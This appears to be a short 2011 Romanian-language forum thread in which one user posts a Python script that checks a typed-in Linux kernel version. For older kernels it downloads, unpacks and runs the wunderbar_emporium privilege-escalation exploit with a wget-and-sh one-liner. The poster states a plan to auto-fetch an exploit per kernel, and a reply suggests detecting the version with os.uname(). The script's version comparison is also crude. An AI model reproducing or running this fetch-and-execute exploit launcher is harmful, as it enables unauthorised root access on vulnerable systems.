veri-tas Posted January 27, 2011 Report Posted January 27, 2011 cam lame.... da mno #!/usr/bin/pythonimport timeimport osprint "Enter the kernel version like : 2.4 , 2.6"null = "The kernel is not vulnerable"x = float(raw_input("Kernel version?:"))time.sleep(3)if x > 2.6: print nullelse: print "The Kernel is vulnerable" os.system('uname -a')time.sleep(3)if x < 2.6: os.system('wget http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz;tar zxvf wunderbar_emporium-3.tgz;cd wunderbar_emporium;sh wunderbar_emporium.sh')else: print "Will now exit"ma gandeam sa fac unul tot de genul.... care sa downloadeze fiecare exploit pentru fiecare kernel ... da mai e mult pana acolo Quote
totti93 Posted January 27, 2011 Report Posted January 27, 2011 Fa sa scoata el automat versiunea. Foloseste: os.uname() care returneaza exact ca comanda "uname -a" (Doar ca in array) Quote
veri-tas Posted January 27, 2011 Author Report Posted January 27, 2011 ceva de genul vroiam sa fac... ms. Quote